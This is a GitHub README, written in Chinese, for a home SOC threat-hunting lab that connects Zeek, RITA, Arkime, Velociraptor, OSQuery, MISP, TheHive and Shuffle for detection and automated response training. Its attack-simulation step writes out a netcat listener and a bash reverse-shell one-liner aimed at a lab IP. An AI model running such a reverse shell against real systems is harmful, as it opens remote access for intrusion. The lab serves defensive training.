sandeepmothukuri/soc-threat-hunting-lab
GitHub: sandeepmothukuri/soc-threat-hunting-lab
集成八款开源安全工具的高级威胁检测实验室,提供从检测到自动化响应的完整SOC训练环境。
Stars: 0 | Forks: 0
# 🔬 高级威胁检测实验室
[](https://github.com/sandeepmothukuri/soc-threat-hunting-lab/actions)



## 🏗️ 实验室架构
```
flowchart TD
ATK[🗡️ Kali Linux\nAttacker\n192.168.20.10]
TGT[🖥️ Ubuntu Target\nVictim VM\n192.168.30.10]
ATK -->|launches attack| TGT
TGT -->|mirrored traffic| Z[📡 Zeek\n50.10]
TGT -->|raw PCAP| AR[🔬 Arkime\n50.20]
TGT -->|agent polling| VR[🔍 Velociraptor\n50.30]
TGT -->|osquery daemon| OS[🗄️ OSQuery\non target]
Z -->|JSON logs| RI[📊 RITA\nBeaconing]
RI -->|score > 0.7| TH
AR -->|session alert| TH
VR -->|hunt results| TH
OS -->|detection alert| TH
MI[🌐 MISP\nThreat Intel\n60.10] -->|IOC match| TH[🟠 TheHive\nCase Mgmt\n60.20]
TH -->|webhook| SH[⚡ Shuffle\nSOAR\n60.30]
SH -->|auto-block| TGT
SH -->|isolate host| VR
style ATK fill:#e74c3c,color:#fff
style TH fill:#f39c12,color:#fff
style SH fill:#9b59b6,color:#fff
style MI fill:#27ae60,color:#fff
```
## 🧰 工具概述
| # | 工具 | 类别 | IP | 检测内容 |
|---|------|----------|----|-----------------|
| 1 | **Zeek** | 网络 IDS | 192.168.50.10 | DNS 隧道、端口扫描、Webshell、横向移动 |
| 2 | **RITA** | Beaconing 分析 | 192.168.50.10 | C2 回连模式(统计分析) |
| 3 | **Arkime** | 全量数据包捕获 | 192.168.50.20 | 所有网络会话、文件提取、JA3 指纹 |
| 4 | **Velociraptor** | EDR / DFIR | 192.168.50.30 | 实时进程/文件/内存取证、主机狩猎 |
| 5 | **OSQuery** | 端点可见性 | 每个目标 | 持久化、SUID、后门端口、无文件恶意软件 |
| 6 | **MISP** | 威胁情报 | 192.168.60.10 | 已知 C2 IP、恶意软件哈希、钓鱼域名 |
| 7 | **TheHive** | 案例管理 | 192.168.60.20 | 集中告警分类、IR 工作流、分析师协作 |
| 8 | **Shuffle** | SOAR | 192.168.60.30 | 自动响应:阻断、隔离、通知、工单 |
## ⚡ 快速开始
### 前置条件
- VirtualBox 7.x
- 32GB 内存(最低 24GB)
- 400GB 可用磁盘空间
- Ubuntu 22.04 ISO
### 1. 准备您的主机
```
git clone https://github.com/sandeepmothukuri/soc-threat-hunting-lab.git
cd soc-threat-hunting-lab
sudo ./scripts/setup-host.sh
```
### 2. 构建 VM 并安装工具
```
# 按照以下步骤创建 8 个 VM:docs/vm-build-guide.md
# 然后通过 SSH 登录每个 VM 并运行安装脚本:
# Detection VLAN VM:
sudo ./01-zeek-rita/install-zeek.sh # Zeek VM
sudo ./01-zeek-rita/install-rita.sh # Zeek VM
sudo ./02-arkime/install-arkime.sh # Arkime VM
sudo SERVER_IP=192.168.50.30 ./03-velociraptor/install-velociraptor.sh
# Target VM (代理):
sudo ./04-osquery/install-osquery.sh
# Intel VLAN VM:
sudo MISP_IP=192.168.60.10 ./05-misp/install-misp.sh
sudo HIVE_IP=192.168.60.20 ./06-thehive/install-thehive.sh
sudo SHUFFLE_IP=192.168.60.30 ./07-shuffle/install-shuffle.sh
```
### 3. 验证实验室
```
./scripts/health-check.sh
# 预期:20 个通过,0 个失败
```
### 4. 发起攻击并观察检测触发
```
# 在 Kali (192.168.20.10) 上:启动监听器
nc -lvp 4444
# 在目标机 (192.168.30.10) 上:reverse shell
bash -i >& /dev/tcp/192.168.20.10/4444 0>&1
# 观察检测结果(60 秒内):
# ✅ Zeek:在 conn.log 中看到连接
# ✅ OSQuery:proc_net_activity 触发 → 向 TheHive 告警
# ✅ Velociraptor:live hunt 显示 nc 进程 + 网络连接
# ✅ TheHive:case 自动创建 → Shuffle 通知分析师
```
## 📚 模块索引
```
graph LR
A[01 Zeek + RITA\nNetwork Monitor] --> H[TheHive\nCase Manager]
B[02 Arkime\nPacket Capture] --> H
C[03 Velociraptor\nLive EDR] --> H
D[04 OSQuery\nEndpoint SQL] --> H
E[05 MISP\nThreat Intel] --> H
H --> F[07 Shuffle\nSOAR Response]
E --> D
E --> G[08 Integrations\nGlue Scripts]
G --> H
```
| 模块 | 目录 | 用途 |
|--------|-----------|---------|
| 01 | `01-zeek-rita/` | 被动网络监控 + C2 Beaconing 检测器 |
| 02 | `02-arkime/` | 带会话搜索 UI 的全量数据包捕获 |
| 03 | `03-velociraptor/` | 实时端点取证 + 威胁狩猎 |
| 04 | `04-osquery/` | 基于 SQL 的端点可见性 + 计划检测 |
| 05 | `05-misp/` | 威胁情报平台 + 全球 IOC 源 |
| 06 | `06-thehive/` | SOC 案例管理 + Cortex IOC 扩展 |
| 07 | `07-shuffle/` | SOAR 自动化 + 自动响应工作流 |
| 08 | `08-integrations/` | 跨工具脚本、Sigma 规则、IR 手册 |
## 🎯 实战练习
### 🥉 初级
1. **检测端口扫描** — 从 Kali 运行 nmap,观察 Zeek notice.log 告警触发
2. **向 MISP 添加 IOC** — 添加 C2 IP,同步至 OSQuery,模拟连接,查看告警
3. **运行 Velociraptor 狩猎** — 在所有端点上使用 SOCLab.HuntPersistence
### 🥈 中级
4. **调查 Webshell** — 植入 PHP Webshell,通过 OSQuery + Arkime 检测,提取 PCAP 证据
5. **检测 C2 Beaconing** — 使用 Metasploit Meterpreter,观察 RITA Beaconing 评分上升
6. **构建 Shuffle 工作流** — 在可视化自动化流水线中连接 3 个工具
### 🥇 高级
7. **完整的事件响应** — 端到端:Kali 攻击 → 检测 → TheHive 案例 → Shuffle 自动响应
8. **狩猎横向移动** — 模拟哈希传递,使用 RITA + Velociraptor 跨 2 个 VM 进行映射
9. **DFIR 证据收集** — 攻陷一台主机,收集完整取证包,构建时间线
## 🛡️ MITRE ATT&CK 覆盖范围
```
mindmap
root((35 Techniques\nCovered))
Recon
T1046 Port Scan
T1595 Active Scan
Initial Access
T1190 Exploit App
T1566 Phishing
Execution
T1059 Shell
Persistence
T1053 Cron
T1543 Service
T1505 Webshell
T1098 SSH Key
Privilege Escalation
T1548 SUID
T1068 Exploit
Lateral Movement
T1021 Remote
T1021.002 SMB
C2
T1071 App Layer
T1071.004 DNS
T1572 Tunnel
Exfiltration
T1041 C2 Channel
```
**完整覆盖范围表:** [docs/detection-coverage.md](docs/detection-coverage.md)
## 📖 文档
| 文档 | 描述 |
|-----|-------------|
| [架构](docs/architecture.md) | 数据流、网络图、工具集成图 |
| [VM 构建指南](docs/vm-build-guide.md) | 逐步的 VirtualBox VM 创建教程 |
| [检测覆盖范围](docs/detection-coverage.md) | MITRE ATT&CK 覆盖矩阵 |
| [IR 手册](08-integrations/playbooks/incident-response-playbooks.md) | 逐步的事件响应指南 |
## 🔗 相关项目
搭建了这个实验室?还可以查看配套的 **SOC 实验室**(SIEM + 漏洞管理):
→ [soc-lab-free](https://github.com/sandeepmothukuri/soc-lab-free) — Wazuh, OpenVAS, pfSense 等
## 📜 许可证
MIT — 可免费使用、修改和分享。专为学习而构建。请勿用于攻击您不拥有的系统。
标签:AD攻击面, Arkime, C2检测, CIDR查询, Cloudflare, Cutter, EDR, IOC匹配, IP 地址批量处理, MITRE ATT&CK, OSQuery, PCAP分析, PE 加载器, RITA, Rootkit, SecList, Shuffle, SOAR, SOC实验室, TheHive, Velociraptor, Zeek, 主机取证, 主机隔离, 信标分析, 内存取证, 威胁情报, 威胁检测实验室, 安全工具集, 安全运营中心, 开发者工具, 插件系统, 数字取证与事件响应, 用户态调试, 端点检测与响应, 紫队, 网络信息收集, 网络安全架构, 网络攻击模拟, 网络映射, 网络流量分析, 脆弱性评估, 脱壳工具, 自动化防御, 高级威胁检测